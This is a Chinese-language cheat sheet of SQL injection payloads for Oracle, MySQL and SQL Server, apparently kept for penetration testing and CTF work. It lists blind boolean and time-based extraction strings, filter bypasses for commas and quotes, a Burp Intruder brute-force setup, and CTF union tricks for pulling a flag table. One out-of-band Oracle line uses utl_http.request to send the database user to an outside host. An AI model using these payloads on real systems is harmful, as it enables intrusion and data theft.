SQL注入笔记
Oracle
在日常测试中针对Oracle数据库的注入字符串拼接盲注payload
是否判断
1 | 太'||decode(substr(user,1,1),'z','仓','1')||'市 |
短一点
1 | select 'ab'||nullif('S',lpad(user,1))||'cd' from dual |
延时
1 | '||decode(substr(user,1,1),'x',DBMS_PIPE.RECEIVE_MESSAGE('S',3),'1')||' |
在不能使用逗号的情况下,利用case when
判断是非,结合order by
排序,观察变化临界点,然后逐个增加正确字母长度直到完整Burp Intruder需要使用Pitchfork两个字母变量保存一致进行爆破
1 | '||CASE user WHEN (select * from (select user from dual where 1=1 union select 'N§B§' from dual order by 1) where rownum = 1) THEN 0 ELSE 1 END||' |
此外,Oracle可以试试中文逗号!
1 | lpad(user,1) #%EF%BC%8C |
上述改版,没有单引号,适用于数字型注入
1 | ||case user when (select * from (select user from dual where 1=1 union select UTL_RAW.cast_to_varchar2(HEXTORAW(53)) from dual order by 1) where ROWNUM=1) then 0 else 1 end|| |
带外注入(或者拼接在子域用自建dns服务记录结果)
1 | '||utl_http.request('http://192.168.110.1:9999/'||user)||' |
手动报错
1 | select (case 1 when 1 then 1 else 1/0 end) from dual; |
判断语句
1 | case a when b then c else d end #如果a等于b,返回c,否则返回d,c、d参数类型要一致 |
字符串操作函数
1 | substr() |
Mysql
binary 区分大小写 in 判断字母
1 | /index.php?id=/**/5/**/and/**/binary/**/substr((select/**/flag/**/from/**/flag/**/limit/**/1),§1§,1)/**/in/**/('§a§');# |
rlike 是正则表达式匹配返回真假 str rlike pattern
case when
条件假会输出0x28,0x28是括号,会报错
1 | ' RLIKE (select (case when (1=1) then 1 else 0x28 end)) and '1'='1 |
1 | select * from user where email rlike (select (case when (2=1) then '123' else 0x28 end)); |
可以让延时注入转变成布尔注入
下面这个是CTF中遇到的,非盲注,过滤了一些关键字,主要是使用无列名查询技巧进行绕过,union select一个新表并且列数和目标表列数一样,命名你要查的列就可以了
1 | x.php?id=0/**/union/**/select/**/1,group_concat(b),3,4/**/from/**/(select/**/1,2/**/as/**/b/**/union/**/select/**/*/**/from/**/flag)a |
SQL Server
过滤了char等函数
1 | concat(3,charindex('a',LEFT(user,2),2)) |